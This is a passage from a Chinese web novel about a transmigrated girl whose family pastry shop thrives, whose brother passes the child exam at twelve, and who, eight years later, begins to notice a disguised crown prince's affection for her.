苏茵茵偷偷看了眼进士夫子,见老头花白的胡子,递了点心过去:“夫子,这是我们店改良后的拇指枣泥酥,您尝尝吗。” 到底是给店里介绍了生意,肯定要感谢的! 进士夫子胡子翘了翘,黄秀才替他接过点心,心里想到另一件事:“对了,之前给你哥哥批注文章的老夫子是谁,怎么没见他再指点苏显。” 这是什么事? 苏茵茵看到原锐才想到,当时进士夫子不想要哥哥,还是原锐家的夫子批注了文章,这才让进士夫子改主意。 原锐答:“夫子比较忙。” 忙着准备乡试会试。 倘若茵茵妹妹的哥哥这次没考中,他会安排换夫子的。 不想让茵茵难过。 是他的夫子? 进士夫子认真看了看眼前的孩子,八岁左右,除了过于削瘦之外,浑身气度惊人。 他夫子会是谁啊。 原锐察觉到目光,微微低头,又看向紧张的茵茵。 万龙国童试依照前朝旧例,有点像现代海选。 报名参加考生,一轮一轮选出来最优秀的。 二月初六就是初选,同时会“淘汰”更多人。 一整天下来,所有出考场的学生们面如菜色。 有些年龄小的考生甚至哭得泣不成声。 真正的考试跟平常一点也不一样啊。 苏显翻过年不过十二,他这般小的年纪,是少数能撑住的,出来后甚至道:“我感觉答的还不错。” 苏显并非夸口的人,这样说肯定有些把握。 但不等夫子给压力,苏家夫妇直接把孩子带走:“没关系,都说了考成什么样都没事。” “对啊,你年纪小,再学几年。” 苏茵茵拉着哥哥的手:“没错,咱们就是来试试的。” 黄秀才看向苏家人时,颇带些艳羡。 一般人家,很少会这样说。 读书科考的花销惊人,普通人家供养读书,必然会多几句期望。 可苏家完全不会给这样的压力。 怪不得苏家人缘好,都喜欢跟茵茵他们一起玩。 想来,原锐就是这样? 童试第一轮考试,三日后便放榜。 这三天里,苏显依旧闭门读书,不管靠没考中,他都会提前准备下一轮考试。 考中了最好,没考中的话,他会更加努力。 苏茵茵则在准备新点心了。 按照汴京点心的卷王程度,拇指枣泥酥销量会慢慢减少。 一个是没那么稀罕了,二是其他点心铺也在找代替的做法,虽然效果不同,可口味都在服务顾客。 这难道就是中华美食源远流长并且分支极多的原因? 只要能让顾客吃开心了,他们会做十万分努力! 不过这次准备的新点心,并没有那么复杂。 苏茵茵准备在接下来的会试做文章。 拇指枣泥酥因为不沾手,不掉渣,意外让哥哥的夫子点为科举用食。 那说明做科举食物很有市场。 童试只需在考场一天,会试却需要在考场三日。 需要的食物肯定更多。 而且还要满足热量,满足口感,足够健康,至少不吃坏肚子。 按照这个方向,点心必不可少。 哪有比糖油混合物更饱腹,更能提供能量的? 所以苏茵茵给娘亲提的意见就是:“造成一套点心盒,全都是一口一个的,咸甜口味都要兼顾。” “同时不能有异味,不能太过古怪。” “足够三两日吃的就好。” 按照这个方向,苏娘子母女两人琢磨起科考食盒。 为接下来会试考生做准备。 到时候京城会有好几千考生,必然有市场,甚至可以作为常态。 每年一次的童试,以及三年一次乡试会试,都能从中赚一笔。 点心好做,怎么凑成完整食盒是个问题,苏娘子在这方面下了大功夫。 苏副使挠头,怎么全家都在忙,他成最闲的那个了。 西城兵马司,宁郡王最近来的勤了些,遇到苏副使时还多问了句:“你家孩子今年参加了童试?我怎么记得他年纪不大啊。” 苏副使恭敬朝上司行李,宁郡王对他们一向不错,自然要尊敬:“回郡王,犬子今年十二,第一次考童试,也就试试。” 宁郡王见对方如此恭敬行礼,强忍着没躲开,只得轻咳:“这样啊,能去考试已经很好了,不知道他师承何人?” 苏副使认真答了,宁郡王摸着胡子道:“倒是没听说过,不过你家孩子天赋应该不错,不该埋没。” “南城山家书院四五月份会招新学生,到时候本王给你一封举荐信,让你家孩子去那读吧。” 山家书院?! 当真? 别说苏副使了,陪在宁郡王身边的其他官吏眼都红了。 那可是山家书院。 南城不少子弟都想进去读书,但机会极少。 人家只收天分好的,又或者勤学苦读的。 从童试到进士,都能教导。 宁郡王可真好啊,对他们西城兵马司的兄弟们格外照顾。 苏副使知道那是什么地方,肯定不会推辞,赶紧朝宁郡王拜谢,激动道:“多谢宁郡王,属下真是无以为报。” “没事没事,你本就尽职尽责,本王不过举手之劳。” “再说,你家孩子十二岁就能去童试,可见不俗。” 宁郡王完成太子殿下布置的“任务”,心里稍稍松口气,苏家运气确实好,能跟殿下走得那样近,自己才是沾光了。 第二天一早上,宁郡王收到苏家人另外一份谢礼,其中一份点心正是在皇上那吃过的拇指枣泥酥。 自己这运气也不错嘛。 苏显知道自己能去山家书院,则更为紧张。 那山家书院分两种学生,一种成绩不错,费用极低,另一种便是写信举荐过去,一个月就要许多钱。 他算哪一种。 换的私塾越来越贵,他怎么可以这样自私。 好在童试成绩马上出来,让苏显终于能睡个好觉。 昨天晚上在床上辗转反侧,就怕自己再花家里许多银钱,让妹妹跟娘亲每日辛苦卖点心,他于心何忍。 看着童试第一轮考试榜上有名,苏显眼睛湿润,把头埋在娘亲身上,手里还紧紧拉着妹妹:“我过了第一轮考试。” 山家书院应该会便宜一点点吧。 接下来的考试,他还要努力! 对于其他人来说,十二岁的苏显能考过第一轮,实属意外。 接下来还有两轮考试,他在一群十七八青年里面,显得格外特殊。 一直到二月十五,苏显成功进入第三轮,也就是最后一轮。 私塾的同窗们,此刻只剩下四个人。 能不能考中,就看这次考试了! 苏显黑着眼圈,整个人压力极大。 苏茵茵都没心情做什么科考食盒了,全心全意陪着哥哥。 苏显朝大家点点头,埋头进入考场。 考好一点吧,不要付太多学费。 为了省学费,想要考好的学生,估计就他一个吧。 考试之前苏显就想过。 不管考没考中,他都想换个私塾。 现在的私塾实在太贵了,每日看着娘亲妹妹辛苦做点心,他心里过不去。 换个私塾,照样能读书。 可是他没想到,私塾是要换的。 却被爹爹上司安排了一个更好的。 山家书院,京中学子都听说过的地方。 价格随着学问高低变动。 他没考中秀才,只怕,只怕学费极多。 苏显私下问了同窗,听说一个月就要几十两银子。 这如何能行。 他绝对不会去的。 一想到这件事,苏显觉得自己写的每一个字都是钱。 读书人不该这样功利,可他写好一个字,就能让爹娘妹妹少一分辛苦。 坐在考场上的苏显深吸口气。 他可以的。 他一定可以考中的。 试题发下来,他这个年纪最小的考生反而最为镇定,下笔极稳。 傍晚交卷。 接下来,就看放榜成绩了。 苏显擦擦头上的汗,抱住跑过来的妹妹。 为了妹妹,为了家人,他一定要用最少的学费,考最好的名次。 第42章 二月十八,折磨人的童试终于结束。 这次上榜的名单,便是最终成为秀才的名单。 苏家人早早在贡院门前等着,榜单刚刚张贴出来,便一起往前看。 苏茵茵被爹爹抱着,看得更清楚。 一排排名字看过去,想找到哥哥的名字。 “第二十名。” “四十名。” “这!哥哥在这!”苏茵茵兴奋道,“爹,七十三名,哥哥考上了!” 姓名,籍贯,年龄,祖父母,爹娘,兄弟姊妹。 一切都在上面写着。 是苏显无误。 黄秀才在旁边差点没站稳。 他没看错吧? 苏显考上了!? 不光他惊讶,其他看榜的书生瞄见年龄,差点结巴:“十二岁?” “考上秀才?” “做梦呢。” 虽说各地也有神童。 可亲眼所见还是不一样啊。 这名次是低了点,但能考上,谁还在乎名次啊。 苏显使劲揉眼睛,极为激动时只是稍稍握拳,握住妹妹的手,又看向爹娘:“山家书院的学费,肯定会低很多吧。” 哥哥你在说什么啊! 苏家夫妇更是揉着孩子的头:“现在不要想这些啊。” 黄秀才更是扶额。 谁家考生出考场,想的这些啊。 不过他对苏家人极为羡慕。 家人不给孩子压力,孩子还格外省心。 “没考上,又没考上。” “秀才不是谁都能考的。” “再学一年吧。” 跟那边愁云惨淡不同,苏家这边高兴地厉害。 秀才啊,怎么都没想到。 这还是苏显头一次考。 消息传到进士夫子耳朵里,更为激动。 看看,他这里出了个神童! 虽然名次确实不高,但也很厉害了! 冷静下来又问苏显要了文章,拍案道:“我说呢,旁人考试的时候容易紧张,水平不如平常。苏显这考试的时候,反而超常发挥了。” 按照平时的课业,进士夫子认为苏显还要再学两年,一定能稳稳考中,没想到第一次考试便比平时厉害。 黄秀才也听说过这样的考生,有些考生就是会在考试的时候更厉害。 看来苏显便如此啊。 也不对,黄秀才哭笑不得,他知道苏显发挥极好的原因了。 只怕因为那山家书院的学费吧! 事实也确实如此。 苏显确实为了少给学费,为了让妹妹,爹娘不那么辛苦,这才努力写文章。 以至于他到家之后,还是不敢相信自己考中了。 苏家罕见在门口放了鞭炮,街坊四邻都来祝贺。 “恭喜恭喜,十二岁的年纪便考中秀才了。” “苏家可真厉害,点心卖得好,学问也好。” “十二岁的秀才,当世也没几个吧。” 苏家夫妇连连谦虚,可脸上的笑意根本止不住。 对啊,他们这一双儿女可厉害了。 消息传到山家书院,他们反应并未那样夸张,但心里暗暗点头。 原本以为宁郡王推荐的学生,必然是什么纨绔世家子弟。 没想到还真介绍个好学生过来,如此学生,再放到他们这,以后必成大器。 书院院长碰到宁郡王的时候,甚至笑眯眯过来打招呼,惹得宁郡王一头雾水。 他怎么也算个武官,平日跟这些读书人不对付,怎么还笑眯眯的。 知道前因后果后,宁郡王心里暗暗吃惊,他只是顺手帮了太子殿下的忙,竟然还给自己挣了面子。 好个苏家,不重用他家,都对不起挣来的光彩啊。 苏茵茵最近一段时间,更是笑得合不拢嘴。 哥哥平日有多努力,她看在眼里,如今能有功名,当然开心啦。 同样开心的,还有店里的生意。 借着哥哥的名气,拇指枣泥酥卖得更好了,不少学生认证过,这样大小的点心,很适合考场吃。 这种天时地利人和,不用起来实在可惜。 慧女点心趁机推出他们的新产品。 科举食盒! 专门为考试准备的点心盒! 里面一共有六种口味的点心,三甜三咸,咸口甚至包含了肉干饼,一盒可供一到两天食用。 点心不掉渣没异味,绝对适合考场上用。 而且六种点心,代表六六大顺,寓意考场顺利! 科举食盒!绝对适合考试食用! 慧女点心这一手新品,让京城许多点心铺都没想到。 她家的拇指枣泥酥确实很好,但谁家还没个招牌。 本以为趁热打铁,会推出其他枣泥馅的吃食,谁会想到另辟蹊径,搞了个科举食盒出来。 更让人诧异的是,这食盒大受欢迎。 如今已经是二月下旬,各地来考会试的考生基本已经来了。 历经过多次考试的他们,自然知道什么样的适合方便考场用。 而他们不约而同被科举食盒吸引。 这确确实实是专门为考场打造的啊。 不少人还提前买了几盒试试,确定里面的点心口味好,还方便用,立刻先预定着。 不到几日时间,慧女点心接到二百多份订单,每个人最少预定三份,有备无患嘛。 再说点心那样好吃,就算到时候用不到,考试结束之后还能再吃。 原本就在排队的慧女点心,人明显更多了。 足足睡了好几天的苏显来到店里,还有点懵。 苏茵茵连忙去看,见哥哥要帮忙,拦着道:“哥哥你刚之前压力那么大,先休息休息吧。” 苏显摇头,他之前为来读书,店里的事就很少做,现在要补回来的。 见两个小孩你推我我推你,苏娘子给两人塞了些银钱:“出去玩吧,家里的事不要太操心。” 苏娘子也是事后才知道,那山家书院根据学生水平收学费。 儿子为了少付学费,拼命读书。 再看看女儿一会张罗点心,一会张罗新品,她心里既感动又心疼。 被推出门的兄妹俩只好在街上逛逛。 过了好一会,苏显才道:“妹妹不用担心我,反正现在考上了,山家书院肯定不收学费。” 苏茵茵想说的也正是这事,她偷偷道:“咱们店里可挣钱了,哥哥也不用担心学费的。” 兄妹两个相视一笑。 他们都在用彼此的方法保护对方。 唯独李锐渊知道之后,下意识沉默。 他本以为自己做了件好事。 没想到会给茵茵,苏显带来这么大的压力。 他本想给茵茵,以及茵茵家人一个惊喜。 跟着太傅在翰林院的李锐渊脸色冰冷,吓得翰林们战战兢兢。 等到没人时,还是太傅道:“殿下可有烦心事?” 李锐渊对太傅恭敬,微微点头,这才道:“太傅,孤有一事不明。” 他明明是在做好事,却给茵茵家带来麻烦。 这让他有些担忧。 按照原本的计划,李锐渊打算跟茵茵坦白自己的身份。 现下,明显犹豫了些。 年迈的太傅呵呵笑道:“原来因为那小丫头,殿下想想,若她知道你帮她的哥哥去了比较好的书院,她会讨厌你吗。” “不会。”李锐渊下意识道。 茵茵宝宝从不会讨厌谁,也只会把事情往好的方向想。 “是啊,殿下是好心,而且对小丫头的哥哥是好事。”太傅转而又道,“只是没有考虑到费用问题。” “殿下乃未来国君,对庶务并不了解,倒是微臣的过失。” “过也,人皆见之;更也,人皆仰之。” “微臣以后必会在这方面多多布置课程。” 老太傅看似在说自己有过错,他要改正。 实际上指正的是李锐渊的失误。 换做不聪明的,说不定真的大手一挥,觉得是太傅没教。 李锐渊此刻却拱手行礼,请太傅赐教。 他需要学的还有很多,非常多。 太傅轻轻点头,这辈子能教一个殿下这样的学生,也值得了。 “身居高位,一动一静,皆牵动人心,凡事慎思慎虑慎行,方能治天下。” 李锐渊垂眼,八岁的年纪,已经有了不同于其他孩童的神采。 童试终于结束,苏显换上青衿,全家先回了趟老家拜祭先祖,见过了启蒙夫子,再一一拜会其他夫子。 甚至向李云敬,章公子,黄秀才道谢,也托原锐向他夫子表达感激。 按照苏显原本的水平,确实考不上的。 但这一年里,一位进士夫子,两位举人,一位秀才,再加上不知名的大佬。 以及他身上的压力,水平突飞猛进,这才超常发挥。 所以苏显对此非常感激,对每一个人都充满谢意。 进到二月下旬,苏娘子在做科举食盒之余,还要帮黄秀才跟兰双做喜饼。 原本应该生意冷清的二月份,变得格外忙碌。 苏显跟苏茵茵一个人跟着黄秀才,另一个人跟着兰双姐,一直到他们两个婚礼结束,收到不少喜糖。 又一对成亲啦! 苏茵茵也为他们高兴。 这期间又去喝了刘姐姐孩子的百天酒。 席面吃的她都累了。 苏家日子渐渐恢复平静,山家书院要等到会试结束才去上学,苏显少见闲下来,跟着在店里帮忙,苏娘子也不拦着了。 苏娘子忙着做科举食盒,苏副使身上的担子同样更重。 去年升了七品之后,老指挥使把更多的公务交给苏副使,大有随时卸任的意思。 谁看到苏家近况,不会羡慕地感慨两句。 “家里生意好,又升了官。” “儿子考上秀才,女儿是仙童转世。” “苏家这运道,真不一般啊。” “这家人,以后肯定会越来越好。” 这话也都没错,越临近会试,来苏家定科举食盒的人就越多。 虽说其他点心铺也学着推出科举食盒,但考生们对比过后,还是觉得慧女点心的更适合。 无论是口感味道,甚至是价格,都比较合适。 慧女点心从早忙到晚,又请了不少帮工,终于在会试之前把所有订单完成。 八百多份科举食盒,一份食盒六十六文,实在大赚一笔。 单食盒的利润就有三十多两,更不用说持续好卖的拇指枣泥酥。 靠着这两项点心的大卖,慧女点心在京城一众点心铺子里,终于有了小小的名气。 苏茵茵则翻开自己的笔记。 她已经准备好研究下一种点心啦。 汴京点心行当,肯定会有她的名字! 一想到顾客们的喜爱,以及同行们争相模仿,便让她产生无限动力。 只是下一个要做什么? 苏茵茵想到身边最“挑剔”的食客。 就应该让原锐来试,他说好吃的话,那一定可以。 可自己做的点心,原锐好像又不会拒绝? 发愁啊。 不说了,收拾收拾,准备吃席。 没错又一个喜宴等着她。 李云敬跟许小妹的喜宴,就在最近。 他们办完喜酒,就要启程回陇西。 而且他家还是双喜临门,李云敬考上了进士,估计等回家之后,还会带着许小妹立刻上任。 再见面,就是很久很久之后了吧。 到时候她哥哥说不定也考上进士了呢。 哥哥在山家书院也是好学生,肯定能考上的。 苏茵茵坐在秋千上,思绪纷飞,嘴角带着笑。 春日阳光洒在身边,好像什么烦恼都没有。 好快乐的日子啊。 李锐渊过来的时候,看到的就是这一幕,他轻轻走到茵茵身边,坐到旁边,托腮看她。 这样快乐的日子,再久一点吧—— 八年后。 安盛十三年。 八月,乡试前。 “科举食盒,慧女点心家的,一定要去买,就算买最便宜的食盒,味道也非常好。” “六十六,八十八,一百零一,这三个价位的食盒都好吃!最贵的那种还有新品蛋黄酥呢!” “慧女点心是京城十大点心铺之一吗?这么有名的店,怎么价格却如此亲民。” “她家店面在西城西市,所以会便宜些,而且店家人很好。” 十三岁的苏茵茵穿着干活用的窄袖,身量比一般人高挑,眼睛大而善良,似乎永远带着笑意。 整个人白的要发光一般,乌黑的头发简单梳在身后,额前碎发显出她不大的年纪,却是活脱脱美人坯子。 “两个科举食盒,一共一百三十二文。”苏茵茵笑盈盈道,“祝你考试顺利,金榜题名。” 慧女点心前排了两队,一队专门卖食盒,另一队则是平常的点心。 另外一队则在哀叹:“蛋黄酥又没有了吗,怎么会这样。” “茵茵,你家店面真的要扩张了。” “对啊,限量就罢了,可惜的是买不到啊。” 这些年来,慧女点心苏娘子的女儿苏茵茵,做出不少极美味的点心。 有的是在原来基础上改良,有的是甚至闻所未闻。 便是再汴京城里,她家点心都数得上。 这次新推出的蛋黄酥,便是老式点心改良,好吃的不得了。 苏茵茵不好意思回道:“在考虑了,但附近的店铺都租出去,我们一时没找到新店地址。” “不过又多雇了两个人,做的会快一些。” 这也是慧女点心近来发愁的事。 生意太好,顾客太多。 狭小的店面明显不够用,每次排队都要排到其他店面前头,实在不好的。 说话间,苏茵茵连忙去厨房端新出炉的点心,苏娘子接过道:“娘亲来就好,你歇一歇。” 周娘子也道:“茵茵歇一歇吧,我们来就好。” 现在店里多招了两个人,一个是之前临时帮忙的周娘子,还有孩子大了之后的刘姐姐。 后厨还好,位置是够的,但店面太窄了,三个人进去就转不过身,大家都抢着去忙。 苏娘子见此,叹气道:“还是要换个店面,租个大一些的。” 话是这样讲,周围的店面却都租出去了,轻易不会换人。 谁让北市发展到现在,原本冷清的北市边缘,已经成为中间位置。 苏茵茵想了会,还是偷偷跟娘亲道:“原锐说再等等,江南那边有几个人,建筑水平高超,可以把原本的一楼加固之后,再往上盖一层。” “原锐讲,他们徒子徒孙已经出发来京城了,到时候不用换店面,就能多一层空间的。” 这样吗? 苏娘子面露惊喜,那肯定更好啊。 其实现在汴京新盖的酒楼酒肆,基本都是两层,甚至三层。 也就是最初的这些房子还是矮矮的,没想到有人能加固之后直接添一层,那自然最好,这一条街的商家肯定都高兴。 直到傍晚,店前客人才少了些。 苏指挥使远远走过来,手里提着市面上买的烧鹅,又拎着两瓶果酒,跟家人打招呼。 正好碰到从山家书院放学的苏显,今年整二十的苏显,身量比一般男子要高,皮肤跟妹妹一样白皙,面容却多了几分冷然,气韵如松柏一般。 苏显接过父亲手里的东西,父子两人快步去了店里,帮着给店里做收尾工作,一家人这才并肩回家。 八年时间过去。 苏副使早在六年前,正式成为西城兵马司火禁司指挥使,从六品的官职,称得上一句武官。 指挥使做得越来越得心应手,在西城兵马司内里,自然能服众。 他平日乐善好施,与人为善,不管上司还是下属,都敬佩得很。 苏显自八年前考上秀才,进入山家书院,今年第三次参加乡试。 虽说今年乡试大概率无望,但以他的年纪,依旧是同龄人中的佼佼者,很受夫子们喜爱。 并且一直可惜,他不应该早早考秀才,应该再等等,说不定能拿个案首。 山家书院不强求功名,一定要让学生学到真理,故而虽然临近乡试,苏显也是不慌张的。 苏娘子的慧女点心,在西市大放异彩。 甚至不少汴京人专门来北市买点心,这里的名气,甚至早就超过苏家点心铺,按理说后者才是真正的苏家点心传承。 现在店里帮工两人,店面急需扩建。 除此之外,还接了更多喜饼的生意,同样的店里一大进项。 苏茵茵在其中自然有极大功劳。 主要是这几年吧。 她都有点自我怀疑了! 刚开始大家喊她小红娘的时候,苏茵茵觉得是巧合。 接连几对姻缘都因她而成,她觉得是运气。 可这几年下来,每年都要吃至少两次喜宴。 苏茵茵自己都摸摸脸颊。 也许,可能。 她还真是小红娘转世? 她在孤儿院听的小红娘,真就应验了。 每次她感慨的时候,原锐总在一旁忍笑,笑了会还道:“是啊,必然是仙童转世。” 过了又道:“仙女转世。” 直到现在,苏茵茵自己都认命了。 不就是随时实地撮合小情侣吗,顺手的事! 店里喜饼生意增加,那也是顺手的事。 除此之外,她的点心研究更上一个台阶,这几年里,一年稳定做出一到两种新点心,俨然成了汴京点心的风向标。 做红娘她拿手。 做点心,她也行! 一家人携手回家,正好碰到同样回家的邻居孙家人。 隔壁酱料店的孙家娘子看了看人家孩子,再看看自家孩子,忍不住道:“人家十二岁就考上秀才,你呢?” 早就瘦下来的孙东俊今年十五,正是要脸的年纪,还是在茵茵面前提这事,赶紧道:“明年,明年我一定考上。” 话是这么说,大家都知道不大可能。 孙东俊就不是读书的料啊。 苏茵茵探头探脑,安慰道:“能继承家业也是本事啊。” 孙家的酱料店,在汴京已经开了五家分店,每家店的生意都不错。 据苏茵茵只道,管理店面,孙东俊还是很在行的,十五岁的年纪,俨然有小东家的模样。 被茵茵这么一夸,孙东俊脸立刻红了,别别扭扭道:“对啊,我可以继承家业。” 苏显挡住妹妹视线,轻轻瞥了孙东俊一眼:“回家吧,一会烧鸭要凉了。” 孙东俊颇带些失望,被娘亲捏住耳朵:“看什么呢。” “没,没什么。” 回到家中,苏茵茵嘴里已经被塞了个鸭腿:“好吃吗。” 苏茵茵连连点头,压根不知道方才发生了什么,苏显这才靠着椅背,开口道:“以后少跟孙东俊出去玩,他前些日子去钓鱼,差点落水,不安全。” 苏家夫妇不知道兄妹两个在说什么,只听两人嘀嘀咕咕的,直接去厨房做饭。 “哥你怎么知道的。”苏茵茵半点没在意,一边吃一边好奇。 “听人说的。”苏显随口道,“原锐又来找你了吗。” “他最近很忙,说事情比较多。” 哥哥苏显松口气,见妹妹对此一无所察,反而放心了。 管那些小子们什么想法,他妹妹还没开窍呢。 吃过晚饭,一家人在院子里乘凉,过了会有人敲门。 苏家人对郭展已经很熟悉了,笑着请他进来,郭展却道:“今日事多,不好多留,是我们少爷派我过来送些水果。” 说着,一筐柑橘被人提进院内。 郭展道:“是岭南产的柑橘,味甘汁多,家中有亲朋正好送来,少爷便吩咐特意给茵茵姑娘留一份。” 岭南产的柑橘,味道肯定极好的。 郭展他们来得快走得也快。 苏茵茵甚至都习惯了,随手拿了一个果子在手里:“娘亲先吃。” 苏娘子迟疑片刻,看了眼相公,又看了看大儿子。 其他两人同样稍稍停顿。 等到吃饱橘子躺床上,苏茵茵才坐起来。 放在刚穿越的时候,她肯定第一时间察觉到家人表情不对劲。 好多年过去,她在这方面反而迟钝了。 爹爹娘亲哥哥,似乎在发愁? 苏茵茵趴在床上敏思苦想,想着想着,直接进入梦乡。 算了,不想了。 好累的。 她只是个十三岁的小姑娘啊,难道不应该快快乐乐的吗。 凡事都有爹娘哥哥呢。 还有原锐。 肯定不会让自己担心。 一觉醒来,家里安安静静的。 该上学的上学,该当差的当差,只剩睡懒觉的她。 苏茵茵懊恼片刻。 以前都没有睡懒觉的习惯,这几年倒是多了些。 还是赶紧起来研究新甜品吧! 她要让其他点心铺再手忙脚乱一阵! 苏茵茵懒懒起身,整个人还是有些困倦。 好累。 跟平常不一样的累。 苏茵茵刚要站起来,忽然察觉有些不对劲,下腹隐隐坠痛。 这个感觉她知道,脸颊瞬间羞红。 是,是那个? 十三岁,好像是初潮。 苏茵茵经历过这事,比旁的女孩子少了慌乱。 可同样让她意识到,她要长大了,以后不再是小孩子了。 成长的烦恼,又要经历一次啊。 第43章 初潮这几日,除了刚开始有些不好意思之外,苏茵茵很快适应。 但心里适应了,不代表心情平稳,看谁都觉得有点烦。 特别是对来找事的顾客,大有直接毒舌的气势。 “都说你是小红娘,我买了那么多点心,怎么还没找到媳妇儿啊。” “你们店里要给个说法。” 店里生意好了,麻烦事自然多。 这种客人也不是头一回见了,苏茵茵直接道:“我们店里只卖点心,从来没有什么红娘的说法,请问你是从哪知道的。” 客人见眼前是个小姑娘,大声嚷嚷:“全部都知道啊,你不是小红娘吗?” “都知道,请问都是谁,谁你给许的诺,谁讲过这件事?”苏茵茵肯定道,“我们店里,从来不会说这样的话,还一直在解释这地方不是婚介所。” 周围人自然知道,而且大家默认了,姻缘乃天定的,强行撮合,只会带来麻烦。 而且惹到小红娘,婚事才会不顺呢。 好多年前就有人来找过事,那两家人婚事坎坷了很久。 “吃了点心,还要找媳妇,哪有那么好的事。” “买不起点心就让开,还要说法,不要耽误我们买东西啊。” 找事的客人被周围人说了,反而愈发恼羞成怒,一定要找个说法。 其实他知道,慧女点心从未讲过可以说媒,他就是想来沾沾运气,再说这地方点心确实便宜好吃。 苏娘子要来解围,平日就罢了,苏茵茵避让就好,可今日身体本就不舒服,脾气也见涨,直接道:“看你衣着打扮,穿的是普通的衣裳,腰间却带着有脂粉的香囊,想来经常流连烟花之地。” “再加上靴子破损却不想换,是不是因为,这是你最好的一双鞋?但上面还是带了污渍,更说明你生性惫懒。” “没什么银钱就罢了,还爱逛不三不四的地方,酒色虚亏,鬼迷日眼,不会还有赌钱的恶习吧?” 店里的老顾客恍惚回忆起苏家小姑娘好几年的模样。 她当时就是一通话,直接戳破两家人的恶行。 现在几年过去,苏家小姑娘说话反而更加犀利。 再看对方的表情,明显被苏茵茵说中,脸如猪肝色,却半个字不敢反驳。 “你这种人,没有媳妇才是对的,说明汴京的女子们眼睛不瞎。”苏茵茵双手一摊,大眼睛充满真诚。 她如实说的,绝无虚言。 众人轰然大笑。 苏家小姑娘的嘴不减当年啊。 “喂,不买就让开好不好。”隔壁孙东俊挑剔看向他,“耽误我们买点心了。” “今日慧女点心的损失,全由你承担好不好?” 周围人跟着起哄,惹得这人只好离开,嘴上还道,以后再也不买这里的点心。 可心里这话没说完,又觉得不妥,谁让慧女点心的吃食真的好,他下次遮掩着来买吧。 苏茵茵探头出去跟孙东俊道谢,见他耳朵红了些,下意识愣住。 不对劲。 再想到哥哥昨天故意挡着她,又想到原锐送来柑橘之后家人的反应。 苏茵茵深吸口气。 她好像明白什么了。 “娘,我先回家了。”苏茵茵说了声,便立刻回家。 那筐柑橘还在家里,爹娘哥哥没怎么碰,估计想留给她。 岭南的柑橘,距离汴京三四千里地。 凡事不开窍就罢了。 稍微多想些,苏茵茵整个人有点晕,完了完了,这如何还得清。 或许也是她多想吧? 生理期确实容易胡思乱想。 苏茵茵掰开橘子,坐在躺椅上,有一搭没一搭的吃着。 “在想什么。”原锐不知道什么时候进了院子,十六岁的少年英姿飒爽,身材挺拔,又比一般少年更添沉稳。 苏茵茵刚刚还在想他的事,这会突然见到本人,差点噎着。 李锐渊快步走来,想帮她拍拍背,苏茵茵下意识躲开:“不用。” 李锐渊手停在半空,若无其事收回:“嗯。” 气氛突然有些尴尬,李锐渊主动提起:“听说店里刚刚有人闹事?” “还好,又是小红娘那一套。”苏茵茵本来躺在椅子上,又觉得不妥当,干脆坐起来,但躺椅一晃一晃的,让她忍不住又想窝在椅子里。 怎么办,感觉不太自然了。 李锐渊点头,提起另一件事:“今日好不容易闲下来,要不要去园子骑马,你有段时间没去了吧。” 这说的是宁郡王那处园子。 自从借出来之后,苏茵茵他们经常过去骑马放风筝。 但最近一段时间哥哥说老用人家地方不好,便不在去了。 苏茵茵以前还没察觉什么,这几日来了初潮,心里难免有些不自在。 虽然有点想去,但着实有些不方便。 再说了,哥哥的意思,好像隐约明白些,苏茵茵小声道:“算了吧,不想去了。” 李锐渊目光一凝,语气还是没有变化:“是今日不想去,还是往后也不想去。” 苏茵茵下意识看过去,见他认真看着自己,坐直身子道,含糊道:“再说吧。” 再说? 李锐渊突然靠近,苏茵茵又下意识去躲,见他去拿柑橘,偷偷松口气。 “对了,岭南来的柑橘肯定很贵重,以后也不要送了。”苏茵茵有什么说什么,“知道你好心,但也不好白白受你好意。” 李锐渊并未剥开橘子,拿在手里慢慢把玩,开口道:“要不是你做的点心跟吃食,我只怕会百病缠身,只是一些水果而已。” 话是这么说。 苏茵茵干脆继续躺下去,躺椅一前一后摇晃,下腹还是有些痛,把没吃完的橘子放一边:“哎,长大好难哦。” 李锐渊眼神停顿片刻,才道:“长大也有长大的好处。” “比如呢。”苏茵茵扭头看他。 少年人流畅的下颌带了些凌厉,盯着少女的眼神有些看不清。 李锐渊并未回答,把橘子又放了回去。 “比如可以去打猎了。”李锐渊道,“北郊猎场开了,等到九月十月,正是打猎的时候,要不要去玩。” 打猎哎。 苏茵茵眼睛一亮,她想去。 李锐渊招招手,郭展端来一个小盒子,里面装着两个橙黄的东西。 “这是不是你找的食材。”李锐渊接过来,给茵茵看。 柠檬。 竟然是柠檬哎。 这确实是她要找的,按照现在的叫法,应该香橼。 “这,这是跟岭南柑橘一起送来的?”苏茵茵惊愕道。 李锐渊点头:“是,混在一堆杂物里,当地只用来做香料,偶尔做些糖水,所以没有第一时间发现。” 岭南进贡的物件极多,若不是他翻到清单,只怕要给略过。 还好多看几眼,知道里面有茵茵要的东西。 苏茵茵这是真的高兴了,有了柠檬一个容易去腥,二是容易把蛋白打发,几乎是烘焙必不可少的食材。 柠檬还能做泡打粉,更是蛋糕必不可少的食材。 若能做出蛋糕,那他们家的点心店,更要上一个台阶了。 可她依旧收回手,既然知道汴京有这物件,回头自己去买吧。 李锐渊深吸口气,面上如常:“放在我家也没什么用,顶多闻个气味,若你做出什么好吃点心,分我一些即可。” 说着,李锐渊敛眉:“眼看又到冬日,你知道的。” 原锐声音越来越轻,倒让苏茵茵有些不知所措。 这几年里,原锐依旧怕冷,到了冬日便不怎么出门,饭食用的也少,她是知道的。 留下两个柠檬的原锐很快离开,还说一会再差人送来些,让她务必收下。 苏茵茵窝回躺椅里。 怎么转了一圈,她又收到一箩筐水果,还是这么珍贵的柠檬。 如此心烦意乱,明显是生理期的缘故,一定是的。 生理期终于过去,苏茵茵松了一大口气,苏娘子搂着女儿笑道:“孩子长大了。” 苏娘子并未过多干预,女子都有这个时候,她只是认真给女儿讲自己的经验,又讲了些常识。 虽说这些苏茵茵知道,可她还是头一次听母亲讲,忍不住撒娇:“女儿不想长大。” 撒娇过后,苏茵茵又揉揉脸,她好像越来越习惯撒娇了。 “女孩子都会长大的。”苏娘子说着,欲言又止,但此刻确实是好时机,“女子长大便不同了。” “再有两年,便要及笄之礼,与男子相处,便是你爹爹哥哥,都要有避让。” 苏茵茵认真点头,娘亲说得很对,她确实要有这个意识了。 母女谈心结束,苏娘子道:“水烧好了,先洗个澡,下个月有所准备,也就不慌张。” 苏娘子眼底全是爱意。 看着女儿一点点长大,她心里无比充盈。 女儿出生之前,她总觉得生活是动荡的,不管是丈夫不在身边,还是跟妯娌之间的矛盾,京城甚至有动乱。 可自从有了宝贝女儿后,日子越来越好。 她有时候便在想,女儿不仅是小红娘,还是小福星。 给全家带来好运。 